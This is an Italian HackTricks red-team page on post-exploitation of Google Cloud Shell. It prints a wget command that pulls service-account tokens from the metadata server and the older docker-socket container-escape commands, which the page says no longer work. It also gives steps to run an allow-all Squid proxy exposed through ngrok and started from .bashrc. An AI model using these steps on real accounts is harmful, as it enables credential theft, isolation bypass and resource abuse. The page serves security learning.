GCP - Cloud Shell Post Exploitation

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cloud Shell

Per maggiori informazioni su Cloud Shell consulta:

GCP - Cloud Shell Enum

Ottiene il token dell’utente dai metadata

Accedendo semplicemente al metadata server puoi ottenere un token per accedere come l’utente attualmente connesso:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"

Container Escape / Docker use

Warning

In precedenza il cloud shell girava in un container con accesso al docker socket dell’host. Ora Google ha cambiato l’architettura e il container del cloud shell esegue un “Docker in a container”. Quindi, anche se è possibile usare docker dal cloud shell, non potrai effettuare escape verso l’host usando il docker socket. Nota che in precedenza il file docker.sock si trovava in /google/host/var/run/docker.sock ma ora è stato spostato in /run/docker.sock.

Docker use / Vecchi comandi di container escape ```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```

Inoltre, in passato era possibile trovare un token per un service account usato dalla cloud shell VM nel metadata server:

Vecchio service account dai metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` Con i seguenti scope: ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write

</details>



### Usarlo come proxy

Se vuoi usare la tua istanza di google cloud shell come proxy devi eseguire i seguenti comandi (o inserirli nel file .bashrc):

<details>

<summary>Installa Squid proxy</summary>
```bash
sudo apt install -y squid

Per informazione, Squid è un server proxy HTTP. Crea un file squid.conf con le seguenti impostazioni:

Crea il file squid.conf ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```

Copia il file squid.conf in /etc/squid

Copia la configurazione in /etc/squid ```bash sudo cp squid.conf /etc/squid ```

Infine avvia il servizio squid:

Avvia il servizio squid ```bash sudo service squid start ```

Usa ngrok per rendere il proxy accessibile dall’esterno:

Esponi il proxy con ngrok ```bash ./ngrok tcp 3128 ```

Dopo l’esecuzione, copia l’URL tcp://. Se vuoi usare il proxy da un browser, è consigliato rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni proxy del browser (squid è un http proxy server).

Per un uso migliore all’avvio, il file .bashrc dovrebbe contenere le seguenti righe:

Aggiungi a .bashrc per l'avvio automatico ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```

Le istruzioni sono state copiate da https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Consulta quella pagina per altre idee folli per eseguire qualsiasi tipo di software (database e perfino Windows) in Cloud Shell.

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks